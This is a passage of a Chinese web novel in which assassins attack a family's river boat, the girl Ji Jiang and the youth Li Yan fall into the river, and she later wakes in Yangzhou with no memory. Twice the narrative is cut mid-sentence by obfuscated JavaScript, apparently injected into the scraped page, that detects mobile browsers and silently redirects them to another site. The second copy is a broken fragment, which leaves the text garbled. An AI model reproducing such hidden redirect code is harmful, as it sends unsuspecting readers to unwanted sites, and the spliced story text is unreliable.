“秦家说,咱们六娘子怎么说也吃过秦夫人的奶,难道不该听他们一句,给个上门说话的机会?怎么就这样忘恩负义,断了两家的情分……” 小厮声音越说越低。 这话是真的没皮没脸又粗俗难听,也不怕惹人笑话。 如果此时是孟三老爷站在这儿是该羞得满面通红,抄起袖子用那些之乎者也破口大骂了。 可孟五老爷不一样。 他是孟老太爷爱妾之子,又是老来子,少时不是习文的材料,又舍不得送去军中历练,就只管着孟家的庶务了。 他常年与商户人打交道,什么浑话没听过。 就这,跟‘您曾饭否’差不多。 因此,他半点没起波澜,反倒笑着啐道“呸,这秦家还真是不要脸皮的,让他们滚。” 二哥不追究秦家的不是已经是仁慈,还想着讨好处。 怎么那么没皮没脸呢。 孟五老爷挥挥手让小厮下去,只小厮还没走出几步,他又喊道:“哎等等,你去请一趟韦家大郎,就说我请他吃鱼,” 小厮应是走了。 孟五老爷放下鸟食盒,低头从船阁侧门处进来。 自言自语:“他昨日说岭州有种红嘴蓝羽的鹦哥儿来着,我得讨教讨教......” * 入夜亥时,月照银江。 晚食时候季姜没有胃口,她喝过药后一直睡到了现在,如今正被毓娘拉起来摁着喝粥。 “再放点细糖吧,这粥没什么味道呢。” 季姜整个人裹在被子里,小小一个包得像个白白的软粽子。 “那婢子这次多放些?” “嗯嗯。” 宝帘放糖的手刚收回来,依着她的话,抬手又要往碗里放糖。 映采正从外面进来,赶紧阻了她道。 “六娘子刚过了换牙的年岁,哪里能吃这么多细糖,这粥并非没有味道,不过是娘子病的久了喝药太多,嘴里没什么味罢了,过两日身子好起来就好了。” 映采说着拿走了宝帘手上的细糖罐子,“可不能食这么多糖,不然生了牙虫,小娘子要遭罪的。” 季姜笑道“映采你年岁不大却颇有几分毓娘的风采了。” 这絮叨劲儿,一模一样。 映采有些脸红,小声道:“毓姐姐可是夫人亲自教导出来的,非我等能及。” 说到谢夫人,一路上倒都没有人特意与季姜讲过这位母亲。 季姜张张嘴,待要询问就听外面乍起一阵喧闹。 “外面怎么了?” 季姜看向窗外。 船板上,一群小厮围着孟五老爷和韦大郎君,好不容易才将两个醉得不省人事的人拉开。 两个小厮搀着韦大郎君往他的船阁走。 孟五老爷追出来,醉喊道:“庭华兄,你还没画完呢,怎么走了,天都还没亮呢,这就去太学院啊?” 韦庭华也显然醉得不轻,边往回走边摆手,“再不去就晚了,夫子该罚书了,耽误不得。” “长兄,你......别说了,” 韦馥从船阁出来扶人,还没靠近就被酒味熏得捂住了口鼻。 “三妹妹,这个时辰了妹妹怎么还在,还是早去祖母院子里请安才好......” 韦庭华说着踉踉跄跄往那边走过去。 韦馥朝下人道:“快来人,快点,去把长兄拦住,快拦住他。” 船阁前的阁道就这么宽,韦庭华走过去,韦馥满是嫌弃,吓得捂着鼻子往后退,边退还指挥小厮打水、扶人,场面一时更加混乱。 对面二楼船阁上。 季姜踩在圆凳上,扒着窗台看得直乐。 外面稍微安静下来,毓娘矮身进来,一见三人趴在窗口的样子就恼了。 “六娘子,别玩了,上床安歇吧。” “就来就来。” 季姜跑回床上,任由毓娘给她被子里塞汤婆子。 映采收拾着碗盘,不由道:“一同行船这些日子,见韦家大郎知礼识节、举止有度的,还以为是个稳重人,没想到竟与咱们家五老爷是一路人呢。” “别胡说,” 望望帘外,毓娘回身小声跟三人说话。 “这韦大郎君是跟着韦家老夫人长起来的,从蜀州进京时已是束发年纪,离家许久,与父母弟妹又不甚亲和,日子很是难过了。” 船阁里安静下来。 乱世之下能活下来就不错了,受战乱所迫,韦大郎君与季姜的情况何其相似。 毓娘怕她多想,忙催促起来。 “好了好了,时辰不早,六娘子该上床去了。” 其实,毓娘多虑了。 季姜闻言只心想,韦家兄妹是从蜀州奔丧回京的,那就是韦家老夫人没了。 “难怪,” 她喃喃:“难怪韦家大郎提他祖母呢。” 毓娘时刻关注着季姜见她发呆,忙笑道:“今夜过了渡口,明儿娘子一醒咱们就到扬州了。” “扬州啊,扬州好啊,”宝帘兴奋起来。 “听说扬州的杏花露十分稀罕,咱们也去瞧瞧。” “就知道吃。”映采撇开眼。 伺候季姜歇息后,三人退出去。 今夜宝帘值夜歇在了外间的榻上。 阁中暗下来以后,季姜才从被子中露出脑袋来。 黑夜中,她目光湛亮地盯着船顶,迟迟没法入睡。 倒不是白日里睡多了,而是她总觉得心中不安。 前世十几年的宫闱生活,已经让季姜养成一种直觉,对于即将发生的危险的强烈直觉。 这可不是什么好事,脑袋中始终绷着一根弦,怎么可能睡得着。 不过半个时辰,季姜忽然有些眼晕脑热起来,应是药汤里有催人入眠的药效。 又过一个时辰,万籁寂静。 季姜终是没忍住昏睡了过去。 * 月上中天,又向西行,渡船拂开江水,泛起细细的波澜声。 清辉下,三个黑影足尖踏水,穿过繁杂的船队,动作轻巧的落在了孟家的船上。 阁前灯笼摇晃,昏影微暗,恰好照出其中一人半隐在暗影里的身形。 银朱袍角一闪而过,玄铁细腰链如蛇般勾缠在劲瘦的腰上,一圈尖利的飞刀自腰间垂下,紧扣在少年人身上。 向两个黑影打个手势,他足尖借力,一跃跳上了船阁的平顶,单膝附下身,侧耳去听阁里的动静。 听里面没甚动静,他唇角忍不住弯起,星目也眨得愈发狡黠。 船阁中,轻纱垂幔被床上人轻轻拂开。 季姜睁着眼却没起身,只是微微转过头去,从被夜风鼓起的层层垂幔缝隙里看出去。 她目光扫过矮桌,落在隔绝内外间的那展蜀绣春山凤凰花屏上。 月光清明,屏风透薄,落在上面的高大黑影异常清晰。 昏暗光影里,黑影一动,向矮榻伸出手去。 季姜呼吸一重,掌心收缩握紧了身下的锦被。 宝帘还睡在那儿! 屏风外,哥舒有些无所适从。 矮榻上,宝帘抱着被子翻滚好几次,睡得舒服极了,连丝眼缝都没掀开过。 哥舒拿着糊了蒙汗药的帕子有些难以下手。 冬生伢只说让他保证外面值夜的人不出一丝声响。 可这…… 完全用不着他动手啊。 不知何时,月亮隐进西云里,清辉散去。 夜风中吹来细细的雨丝,船上一时陷入寂静。 季姜屏息看着外面,手里攥上床边的烛台。 李兖趴在船阁顶上,眼巴巴等着船板上冬生伢的暗示。 哥舒站在矮榻前,大手摆了摆去无从下手。 ‘啪’的一声轻响,阁前一盏灯笼掉下来,咕噜噜滚进了黑暗里。 一刹的死寂后,三方齐动。 季姜迅速起身,一把将烛台扔向外间,烛火掉在垂幔和屏风上火苗一瞬便窜了起来。 宝帘惊醒过来,正对上一具异常高大的黑影,她尖声惊叫,两眼一翻直接晕了过去。 “啊——” 重重纱帘里疾飞出一只点绿朱钗,哥舒伸手去捂宝帘嘴的手没来得及收回,朱钗擦过他手背。 射钗之人准头极好但力道不大,只留下一道浅浅的划痕。 “莫往里去,出来。” 冬生伢船阁前低低说了句燕北话,哥舒听到后收手矮身往外走。 季姜只听到外面一声叽里咕噜的异语,还不待细辨,就听阁顶又发出一声刺破声。 一支短身银刀刺进拱顶。 她抬头,银刀沾雨,一滴雨水沿刀刃滑下,恰好滴在小娘子的眉心。 一阵寒凉从眉心晕开,水珠沿着鼻尖滑过。 季姜蹙眉闭了闭眼,再睁开,她双眼清明无波,迅速翻身滚向床里。 船阁两侧相通,推开里面的床屏就是后阁,季姜拿着毓娘做女红的小剪使劲敲开关锁。 推开后门,一阵湿润的水雾扑面而来,她开门的手微顿,下意识低眼,看向落在苍白手背的那滴晶莹水珠。 是温热的! 季姜后知后觉,脊背蔓延上一股寒意,缓慢地仰头看上去—— 一抹红影从阁顶倒垂下来,浓墨重彩的描金朱雀面具在季姜眼前放大。 “啊——” 如今的身体实在太幼小孱弱,季姜惊吓之下腿上一软跌倒在地。 前方倒垂的东西荡来荡去。 季姜稍一抬头,对上一双琥珀色的星目,火金繁纹的面具下露着一双澄明湛亮的眼,双目至净,以至于眼中幼稚的恶劣一览无余。 少年坠着银叶的小辫垂下来,冰凉的触感扫过季姜的额前,激得她一阵寒颤,强撑着手往后退了两步。 “怕啦?” 李兖得意地故意摇摇脑袋,想用小辫的发尖去戳季姜。 怕...... 怕你爷娘!! 季姜目瞪口呆,继而咬牙暗骂。 她搞不清现在什么状况,只能又往后蹿了两步,跟眼前人拉开距离,直至单薄的背抵上船柱退无可退。 季姜仰头,静看着那双没什么恶意的笑眼,还是先开了口。 “你......” “嗖——” 季姜的话还没说出来,就见重帘激荡而起,一把银刃破空而来。 不过瞬间,刀刃擦过季姜耳边。 李兖眼中有一瞬震惊,他迅速反应过来,猛拍一下船柱,身子一荡,翻转落地。 半空飘飘悠悠掉落一物。 两人同时瞧去。 一截小辫安静的躺在雨湿的船板上,正是方才李兖用来刺季姜的那条。 李兖粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514236|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴地一把扯下面具,几乎稳不住单膝落地的姿势,探向那截小辫。 “啊,我......我的长生辫,断了!” 他满脸懊恼,眼中又露出一丝脆弱的侥幸,伸手摸向脖颈后的发尾,手指顺下来。 三根小辫果然只剩两根健在。 季姜只听见一句恶狠狠的异语,再抬头就见方还跪在原地的少年往脑后一甩马尾辫,跳起来伸脚就踹向了后门。 “别去!” 这次季姜的话倒是说出口了,可后门被踹开的一瞬间,数把小刀已经飞了过来。 李兖向后连翻,刀刃擦过他鼻尖,没入了身后的黑暗里。 再次单膝落地后,李兖心有余悸地摸了摸鼻子。 捻区指尖那滴鲜血,他才抬头看向几步外还呆坐在地上的人。 不是吧,他就吓唬吓唬她,孟家不至于杀了他沉江吧。 这一看恰好对上季姜同样疑惑的眼神。 “你......” “你......” 两人顿住,只一息便明白过来对方的疑惑。 “不是我。” “不是孟家。” 两道话音刚落,前面船板上传来哥舒的喊声:“十四郎,快出来,有变!” 看着身后已经从黑暗里跳上船来的一片黑衣人,李兖伸手扣上腰间的两柄短刀,咬牙切齿道。 “出来?还出哪儿去啊?!管好自己,下船!” 倒霉,倒霉死了,这都什么破事! 前面的打斗声逐渐大起来,孟家的护卫也出来了。 火把一束束燃起,漆黑的江面铺陈开火光,一片船队瞬间亮如白昼。 后船板上。 寒光迸闪,七八个黑衣人挥剑扑上来,他们不曾将少年看在眼里,彼此瞬息之间已过四五招,李兖率先矮身一刀砍断其中一人的下肢,黑衣人吃痛后退,他左手刀柄迅速一转一抬,黑衣人咽喉划过一丝血线。 少年收刀的动作格外利落,为首的黑衣人低头看了看身上破口的划痕,眼中闪过惊讶,不得不正视起眼前的人。 李兖甩了甩刀上的血,抬抬下巴,笑声清朗,“再来。” 成片的黑影快速涌上来,李兖侧身避开,身子跳起一蹬船柱,借力从侧面跳上黑衣人的肩膀。 他动作利落,招式凶狠,牢牢锁住人脖颈后便死不松手,摁住人后颈使劲往下压。 黑衣人奋力撑住,李兖抓住空隙迅速抽了腰间小刀,手起刀落插入这人脖间。 鲜血喷涌,溅上少年的脸,又混着雨水冲刷下来。 见其狠辣,其他黑衣人不再来攻他,反倒略过他想走。 李兖踩住黑衣人的头,迅速借力再跃,转瞬间又卡住最前面那人的脖子。 黑衣人见过他前招,手上寒光一闪,一柄小刀横擦过李兖脖颈,李兖翻身滚落下来,不再动弹。 死了?!就这样死了! 原本见他出手几招便杀了一人,季姜悬着的心稍微放下了点,可还没放稳当呢,就直接沉到了底。 “六娘,六娘——” 远处孟五老爷大喊。 季姜想要张口回应,却又开始胸闷脑痛,她甩甩头,眼前的景象都开始模糊。 船后漆黑,当头那黑衣人满含深意的瞥了眼趴在旁边的少年,转而看向缩在船柱后面一身白色单衣的小娘子。 沉沉开口,坚定道:“是她。” 季姜强忍虚弱,抬头对上那双阴鸷肃杀的眼。 黑衣人把沾血的剑收入鞘里,抽出腰间干净明亮的短刀,走过来。 “走得干净些,下辈子还能投个好胎,你也别怪咱们,要怪就怪......” 他似是说不下去,举刀刺向那截白嫩的脖颈。 漆黑的眼瞳中闪过冷光,季姜奋力挥袖,一阵白粉末弥漫开来。 黑暗中只听到一声尖刃相接的叮铃声。 火光乍起于眼前。 “啊—啊—”黑衣人捂着眼往后退。 “蠢货!” 趴在船板的李兖抬起头来,他翻身过来一个鲤鱼打挺,指尖同时摸上腰间小刀,飞射出的刀片瞬间割破黑衣人的咽喉。 鲜血喷涌而出,季姜只见黑衣人轰然倒下。 失了领头的黑衣人开始毫无排阵地杀上来。 招招狠辣,尽是杀气。 他们不主动攻击李兖,更像是要突破李兖这道防线,来杀季姜。 火把闪烁摇移,两侧船道传来跑动声,是孟家的护卫在往这边来了。 李兖左右应对,逐渐有些寡不敌众。 季姜爬起来要往旁边躲避,脚腕上却忽然一紧。 她回头。 是一个重伤倒地的黑衣人拽住了她。 季姜脚下用力踹过去,也不知那人哪来那么大执念,明明已经咽了气,那只手却似鹰爪般死死扣住她。 正当季姜焦急不已时,眼前喷出一阵血雾。 刀刃断骨的咔嚓声响在耳边,脚腕上的手松了,那整个臂膀都掉在季姜的脚边。 李兖扛起刀,对着尸身踢了一脚,“不要脸,你要杀就杀,还摸人家脚,你活该找死!” 在他回头的一瞬,背后两道剑光已经同时落下。 季姜一惊,步步后退,后背贴在了船壁上。 李兖也意识到自己疏忽了,但他只来得及背身用刀扛了一下。 下一瞬,巨大的剑气将李兖推向船壁。 季姜甚至没来得及看清什么,只觉得被一团火影撞了一下,背上猛地一疼,身子一轻,翻下船去。 细雨骤急,暗沉的江水被两人溅起巨大波澜。 “六娘子——” “六娘——” 孟五老爷几人跑到时,只见一白一红两抹亮色迅速坠下船去,他几乎吓得魂飞魄散,急忙喊人去救人。 春来水渐暖,入水一瞬间,柔软的江水迅速包裹住瘦弱的身子。 下沉中时光倒退,季姜好像重新回到了母亲的胞宫,温暖包围着她,让她再也舍不得离去。 半阖的眸子逐渐透出死寂,火光入水化成眼底的琉璃。 随波晃动的琉璃中,寒州、万春楼、紫金宫一一闪过。 万物一息烟消云散,随风化雨,再也找不见。 漂浮半生的心忽然平静下来。 季姜半阖的眼缓缓闭合。 却不曾看到,平静的暗水中有人回头,拨开急流,朝她的方向游回来。 4. 扬州春(失忆) 大晋扬州城,九里三十步街处,倡楼之上菱窗大开,少年穿窗飞跳下来,落进一片嫩绿垂柳里。 身披轻纱的妖艳女子倚在菱窗边,挥手喊他。 “小郎君~” “小郎君下次再来啊,奴家等你~” 李兖提着东西,闻言还朝人家笑笑,一手解了马绳,翻身上马往子城外的大明寺奔去。 青山逶迤,隐于天际,薄雾似带,迢递不断,大明寺的门就隐在这层轻纱般的晨雾里。 “开门,小爷我回来啦。” 铜兽门环被李兖扣得啪啪作响。 “就来,就来。” 前院打水的小沙弥放下木桶,跑到门口去开门。 还撇着嘴嘟囔道“施主既能翻墙出去了,还要走门做什么?” 他们大明寺原是不开禅房的,可月余以前,主持突然命他们开了后禅房里最好的几间。 又几日,李兖一行人就住了进来。 住也无妨,另两位郎君都是好伺候的人,粗茶淡饭都吃得。 偏这李小郎君不行。 他每顿都要吃肉,还要吃烤的,全然不顾这是佛家净地。 好不容易找了山下猎户来给他烤肉,他还不满,闹够了后山练武的师兄弟,近来又要日日下山去吃喝玩乐。 闹得整个大明寺鸡飞狗跳的。 寺门一开,小沙弥就见眼前迅速窜过一抹影子,再回头就见李兖像个小豹子一样往禅房冲去。 小沙弥双手合十摇摇头,自去做自己的事。 * 后禅房里。 萧屺坐在桌前,已经不知道叹了多少声气,才开口:“七郎......” “郎君,七郎君的药好了。” 他刚要开口,门外又有小厮端着漆木托盘走进来。 萧屺咽下话头,抬抬手,示意床上那人先把药喝了。 小厮过去放下托盘,伸手想要去扶床上瘦弱的人,萧岺抬手止住,自己起来靠坐到床头。 药汤还有些烫,他拿汤匙搅拌着。 萧屺几次看过来,目光落在他苍白的脸上,都有些开不了口。 萧岺注意到,搅拌药汤的动作愈发缓慢,微微抬眼看向他,嘴角扯出一抹笑,“五哥有话说就是了,我与五哥许久不见,还真是生疏许多。” “你啊,” 萧屺又叹口气,挥退了身边侍候的人,才开口:“我性子直,有些话我就直说了。” 萧岺知道会有这一遭,遂放下药碗,做出认真听的样子。 “你来这儿是不是想去南陈?” 萧屺问得确实很直接。 萧岺也答得毫不犹豫,“是。” “是为了德妃娘娘?” “不是。” “阿耶许了?” “没有。” 萧屺被他无波无澜的样子激怒。 “你也知道没有,皇子无令离京实乃大罪,你要干什么,过江容易回来难,七郎你难道不知道这里头的利害?” 萧岺沉默,只垂眼看着那碗汤药。 萧屺坐在桌边无声看着他。 床上的少年明明是与李兖差不多的年岁,正是斗鸡走狗飞扬顽劣的时候,可他不说有半分李兖的恣睢肆意,就是普通小郎君的活泼都没有。 难道他这七弟生来便是如此? 当然不是! 他们都是圣人的孩子不假,可他们并非同母所出。 萧岺的生母德妃,乃是南陈郡主。 而如今,大晋攻下南陈只是时间问题。 如此一来,萧岺的身份就有些尴尬。 为避免难做,长安众人也基本忽略萧岺,当他不存在。 想到这,萧屺怒气顿消,只是无奈。 明明是常在行伍的人,看向萧岺的目光却也不免带上一丝怜悯。 萧屺说:“别人不管你,我得管你。” 他站起身,“我这些年在平城旧都待得久,不逢年遇节无召我都不得回京,照应你的地方也不够,” “这次回京我会向阿耶上奏,求他让你跟我一起去平城,左右你在京中也无甚挂念,不如离京讨个清净。” 说萧岺无甚挂念,这是有来由的。 不用说皇城的人,就是整个长安能记起萧岺是当今圣人第七子的,都没有几个。 他实在是太不起眼了,靖武帝儿子多,大家又不愿提及他,自然而然也就慢慢忘了。 萧屺愿意管他,也不过因着,阖宫只有他们二人没有娘亲罢了。 因着这点同病相怜,萧屺一直还算照顾这个不起眼的弟弟。 萧岺闻言,眼底还是一片平静,倒是笑着抬眼调侃,“五哥这是照应弟弟,还是要关住弟弟啊?” “我不是这个意思。” 萧屺有些着急,“只是你这样实在不行,你偷跑出京,这次是正好被我撞见了,下次呢,要是被阿耶知道了怎么办?” 萧岺只是说:“这是第一次,以后也不会了。” 他看向碗上腾升的雾气,还没喝,嘴里却好像已经生出一股苦味。 “我只是从没出过京,想出来看看,如今也看过了,以后就安心待在长安了,五哥你是在平城练兵,我去做什么,徒惹事端罢了。” 出来看看哪里不能看,偏要跑到这里来看。 萧屺心下明了,果断拒绝他,“去平城的事,你得听我的。” 自认了解这位哥哥,萧岺也不跟他挣,淡笑道:“我如今养在贤妃膝下,五哥要如何跟贤妃娘娘交代,你要带我去平城?” 即便贤妃不在乎,圣人也不会允许他离京。 这确实是个问题。 但萧屺仍是说:“这你不用管,你安心等着去平城就是。” “五哥......” “哎呀,两位哥哥别挣了。” 李兖倚在门口听了半天,实在忍不住打断道:“五哥你该回平城回平城,该干什么干什么去,长安这不还有我嘛,再不济六哥也在皇城啊,” “七哥不过是出来玩一趟,又不是什么大事,去圣人和贤妃娘娘那里请个罪就是,哪里就要这样了。” 门口的阳光被李兖挡住,一片阴影笼罩下来,萧岺见是他,眼神暗了暗,低下头去。 萧屺却是一脸嫌弃,他都不爱说他。 “就你?你如今都自身难保了还有闲情管别人呢。” 李兖一愣,歪头道:“什么意思?” “孟家那位小娘子前日醒了。” “真的!”李兖跨进门来。 他把提着的食盒往桌上一放,激动道:“孟五老爷可问过她那夜是什么情形了?那些人真的不是冲我来的,是冲她,说起来还是我救了她呢。” 李兖说着,有些小得意地扬了扬头。 那夜萧屺不在,更不知道当时是什么情形,等他带人赶到的时候已经是第二日。 孟家的船都到扬州渡口了。 李兖三人被孟家绑了,与孟家各执一词。 孟家自认从无仇家,有也不至于会冲孟五老爷一个闲人和一个幼女去,因而黑衣人必定是李兖引去的。 而李兖又是当时在场且与人交过手的人,他一口咬定那帮人是冲孟六娘子的。 双方各执一词,而刺杀的人已经服毒自尽,如此一来死无对证。 知道实情的除了李兖只剩孟六娘子。 如今...... “孟六娘子全都忘了。” 萧屺开口。 李兖得意的嘴角立马落下,他愣了一下,然后直接跳了起来。 震惊的看向萧屺。 “忘了?!什么叫忘了?!说忘就忘,秉生江的水把她脑子泡坏了不成?” 他在屋里走来走去地吼。 “扬州这帮子大夫是吃闲饭的吗?一个月了,这帮杂种连个小娘子都治不好吗?小爷要掀了他们的杏林牌子!让他们拿着那些破针去街口上要饭!” 李兖的暴躁,萧屺两人显然都习惯了,任由他发疯。 只在他疯完,才添一句,“反正是忘了。” 李兖不死心,“一点都想不起来了?到底是什么病啊?” 萧屺点头,“想不起来了,连自己是谁都不知道了。” 李兖跌坐回去,逐渐冷静下来。 完了,他彻底完了。 本来他那个爹就巴不得让他娶孟六,孟家也不说拒绝,这下孟六半死不活了,岂不更得赖上他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“孟二来不免也是孟大将军的意思,若孟六娘子真的没撑过来,那此事必不能善了了,说不定回京后还得移交到兆明司去,到时候圣人是肯定要过问的,阿驷你还是早做准备吧。” “嗯,好。” 李兖心不在焉地点点头,起身往外走。 “干什么去?” 萧屺指了指桌上的食盒。 “你少去倡楼那种地方晃悠,染上什么乱七八糟的东西,我看你怎么办。” “别污蔑人啊,这是我今早去买来的,不信你摸,现在还热着呢。” 李兖又炸毛了,走回来拂开萧屺要开食盒的手,自己提了起来。 “都别吃了,有这功夫还是去查那帮黑衣人吧。” 刚出后禅房没两步,李兖一抬头就遇见了哥舒,他远远招手把人叫过来。 李兖搭上他肩膀,低声道:“前几天我不是叫你偷偷去看过孟六吗?你当时回来怎么跟我说的来着?” 哥舒抓抓后脑勺,回想道:“属下说,挺好的。” 李兖又问:“怎么个好法,你细说。” 哥舒更不懂了,但还是直说道!“孟六娘子就一直在床上睡觉呢,没有伤,没有血,也没见怎么......” 旁边,李兖那双眼慢慢眯了起来,紧紧盯着他,哥舒心下莫名一抖,说出口的话就有些磕磕绊绊起来。 “就.......就还挺好的......吧?” 李兖突然笑了。 他咬牙恨恨捶了哥舒两拳,抽回手来继续往前走。 哥舒还没反应过来,喊道:“十四郎,可是我差事出错了?” 李兖回头,有些难掩怒气,咬牙道:“你没错,我的错。” 他就不该把这事交给没脑子的哥舒去办。 转身走出几步,李兖又回头指了指哥舒,“这事日后不要再提,知道了吗?” 见哥舒郑重点头,李兖才转身走了。 他是想。 他才不要让人知道他还派人去看过孟六,显得他多在意似的,可明明那帮黑衣人就不是冲自己来的啊。 他一点都不心虚的! 还有孟六,他是不相信人能说忘就忘的,还忘得这么干净,保不齐又是孟詹山跟他爹的算计吧。 李兖左想右想还是决定亲自去趟杏云巷。 他要去探探孟季姜。 5. 显赫出身 扬州杏云巷。 孟五老爷常年在外行商,待得最多的地方就是扬州城,所以他干脆在扬州置办了一座小别院,不成想如今还真派上用场了。 这会儿,院里正站着两个人。 一个是孟五老爷,另一个与他相临而立的是个十五六岁的少年。 见院门口无人进来,少年先坐下来给自己倒了杯茶。 “五叔别急了,坐下来等吧。” 看门口还没人回来,五老爷捶捶手心坐下来,恼恨道:“这秦家当真可恨,若非六娘不记得事了,咱们家用得着他?什么东西,他还摆上谱了。” 自打季姜醒了,孟五老爷两人这几天就忙活一件事了。 季姜在寒州青楼待过,虽说那青楼女子待她视若己出,可若想做回孟家女,这样的来历是不能带到长安去的。 人言可畏,若是长安那些人知道季姜这段青楼经历,光用唾沫星子就能淹死她。 原本孟五老爷还对此十分犯愁。 十来岁的孩儿说大不大,可说小却也不小了。 况且他与季姜一路同行下来,深知她不是轻易改变想法的人,更遑论是让她丢了寒州那些人,几乎绝无可能,若是硬来怕是会适得其反,得不偿失。 可如今季姜醒来什么都不记得了,事情反倒好办些。 现下已经离了寒州几千里,季姜知道过往旧历的途径,只有听身边人口述这一条。 等季姜彻底好转时,不管是身世还是来历他们都会安排妥当。 孟五老爷骂完没听到有动静,抬头看向对面闲支着下巴的少年。 “二郎方才还着急,怎么这会儿又不急了?” 孟潇身形相貌都随了他老子孟詹山,高大挺拔又周周正正,若挺直了背往那一坐也能端出几分稳重来,可他懒得挺那么死直,就成了几分散漫模样。 他给两人倒了茶,才笑着摆摆手道:“五叔放心就是,如今这状况五郎都预料到了,离京前他都细细给我说过。” “哦?怎么说?” 孟潇清清嗓子,学着孟五郎的样子讲起来。 “五郎说,我初来乍到必是不清楚秦家是个什么样的人家的,那不如把事先说出去,看看秦家的反应,” “我方才急正是还拿不准秦家是个怎样的人家,若他们不接这个事,我总要再去寻个别的什么法子,可咱们的人去了这么久都没回来,那孟家定然是接下了这事,这会儿怕是要商量商量问咱们要点什么呢。” “有点道理。” 孟五老爷点点头,也端了茶,“说到这个,秦家若朝咱们狮子大开口,你当如何?” “不会的。”孟潇很肯定地摇头。 他想着五郎的话分析道:“五叔你想啊,秦家肯定知道,若不是凑巧了崔家兄妹与你们从蜀州结伴行船,知道小六并非长在扬州城,那咱们一定会为小六选家世更好的秦刺史一家,但有崔氏兄妹在前,咱们怕穿帮,不选秦家也在常理,” “秦家本来都没指望与孟家攀亲戚了,可现在咱们还选秦家,虽不是秦刺史这本宗一脉,可寒州那个司马也姓秦啊,那以秦家这上赶着的劲头,哪还能狮子大开口啊。” “不错。” 孟五老爷啧啧点头,“而且咱们六娘到底还是在寒州长大的,选在寒州的秦司马也好,不容易露馅。” 两人说着话,映采从垂花门里出来,喊道:“五老爷,二郎君,我们娘子醒了。” “醒了!快去请大夫,我进去看看。”孟潇站起来就跑,几步后他又想起来,回头朝孟五老爷喊:“五叔,秦家那边你盯着吧,我先去看看六妹妹。” “哎,等等。”孟五老爷站起身。 孟潇回头。 “那个,”孟五老爷显得有些犹豫,“六娘的名字,不如还是叫原来那个吧,季姜这名字挺好的。” “可小六有自己的名字啊。” “季姜不也是她叫了十年的名字吗?” 那天他去万春楼接人,季姜落水还没醒,是被包在一件厚披风里抱出来的。 抱季姜出来的那个布衣少年就说了一句话。 “若是可以,别给她换名字......算了,做个小字也好,她这名是从寺庙求来的,保平安的。” 如今要把季姜十年的过往全部掩盖,说实话,孟五老爷心里多少有些不舒服。 “算了算了,做个小字,”他挥挥手,决定用那少年的办法。 “做个小字总能行吧,二哥夫妇拢共得你们四个孩子,刚好六娘就是最小的,这名字也算合适,对吧?” 还真是正好合上了。 孟潇点头,“那就这样吧,省得伺候的女使们生疑,再说出什么别的来。” 说完孟潇就匆匆往后院跑去。 后院北房里。 泛着淡金的碎光落进格窗里,季姜斜坐在窗前雕番枝的梨花木榻上,身上裹着厚厚的雪裘皮,阳光正好,她苍白的脸上也难得的照出一点红晕。 毓娘打帘走进来,一眼就看到扒在窗框上,眼巴巴往外瞧的小娘子。 “六娘子,可是想出去了?” “想。”季姜使劲点头。 自从醒来她就没出过这间屋子,不用说病不病死,光闷都要把人闷死了。 毓娘上前把窗上的帘纱放下来,手碰了碰季姜的,试了温度后才笑道:“扬州多柳,到了四月满城都飘细细的柳絮,这柳絮沾上容易引出哮症,娘子才好转过来,可不敢沾上这个。” 季姜唇角落下来。 毓娘见了就笑,“不过,婢子一早就差人往院子里洒了水,娘子在院子里坐坐倒是无妨。” “真的,那咱们快走吧。” 话音刚落,季姜就听到外间一阵脚步声,伴着少年公鸭嗓子喊的一阵‘妹妹’。 不肖一会儿,果见孟潇身影从屏风一闪而过。 “妹妹要去哪儿啊?” 孟潇走进来,看季姜要下床来的架势,赶紧扶住她,“妹妹要什么只管差下人去买,你身子才好些,万万不能劳累。” “.......二哥哥,我......” 季姜苦着脸又被扶了回去。 “二哥哥,我真的好多了,能吃能睡,出去穿得暖和些就是,不会有事的。” “我知道。” 孟潇嘴上说着知道,手上却不停,给季姜掖好被角又差毓娘,“去给你们小娘子拿个汤婆子来。” 一切都妥当了,孟潇才开口:“妹妹,你身子虽好转了,可前时事大多忘了,我今日来是要跟你说一桩事的。” 忘了前事这事季姜是知道的。 她醒来时脑子里一片空白,天地一宽,她竟不知道自己姓甚名谁、家从何地。 还是宝帘时常在她耳边讲啊讲的,才慢慢知道了。 自己是孟家行六的娘子,战乱时养在寒州,在乘船回京的路上遭贼人袭船落水,这才在扬州城暂住。 季姜看着面前正经端坐着,还一脸严肃的孟潇。 她这位二哥可是个十分随性的人,还没见过他这么正经的样子。 “可是......出了什么大事?” 季姜也直起身,逐渐紧张起来。 “哎哎哎,妹妹别怕,大事已经出了,我就是讲给你听听,你也好早有个准备。” 季姜微微一挑眉,又倚坐回去,“那......二哥哥说就是了。” * 这边孟家还在苦等,杏云巷巷口处,被等着的秦家人却是正巧跟李兖撞在了一起。 巷口窄小,秦家的轿子和李兖的马没法一起进。 坐轿子的一般都是女子,李兖先勒住了马,坐在马上笑道:“这是秦家哪位啊?” 不等轿边的小厮回他,轿帘就被一把打起来,秦兆功矮身出来,自来熟道:“三郎,是我啊。” 没想到会在这碰到秦兆功。 李兖一愣笑道:“哟,秦大郎君这是睡醒了?” 他今早上去聚秀楼买酥饼的时候,秦兆功可还躺在楼里花娘身上睡得正香呢。 李兖这些日子没少跟扬州这帮纨绔子弟处在一处,跟秦兆功是打过照面的。 秦兆功也没什么不好意思,笑道:“这不是孟二郎君来了嘛,家里特令我来拜访拜访,顺便说说......” “长兄。” 轿子旁忽然窜出一道略显急促的声音。 “咱们该进去了,孟五老爷早差人来催过了。” 说话的人丝毫不起眼,穿着更是跟小厮差不了多少。 李兖转头随意看了那人一眼。 